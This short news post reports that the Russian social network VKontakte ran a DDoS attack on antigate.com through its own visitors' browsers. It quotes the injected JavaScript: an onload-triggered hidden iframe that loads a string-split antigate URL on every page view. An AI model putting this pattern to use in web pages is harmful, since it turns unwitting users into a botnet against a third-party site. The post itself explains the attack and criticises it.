The most popular social network in Russia “VKontakte” used its users as bots in a DDoS attack against another Russian project antigate.com.
Yesterday all pages of the social network contained the following JavaScript code:
function _test() {
var fr=utilsNode.appendChild(ce('iframe')),d=fr.contentWindow.document;d.open();d.write(' <script>this.location="http://ant'+'iga'+'te.com/i '+'n.php?'+'firs'+'t_an'+'d_la'+'st_wa'+'rnin'+ 'g=o'+'n";</sc'+'ript>');setTimeout(re.pbind(fr),1000);
}
The code was executed every time user refreshed or opened a webpage:
<body onresize="onBodyResize()" class="is_rtl font_default" onload="_test()">
They used an iframe to load a page from antigate.com resulting in a massive DDoS attack. According to statistics about 25 mil users visit the site every day and view around 2 500 000 000 pages.
This is a very good and frightened example of how easy it might be to create a botnet of legitimate users. Every internet project with large auditory can perform a massive DDoS attacks at any website. The following actions are punishable by law in Russia but it`s most unlikely that VKontakte will be sued.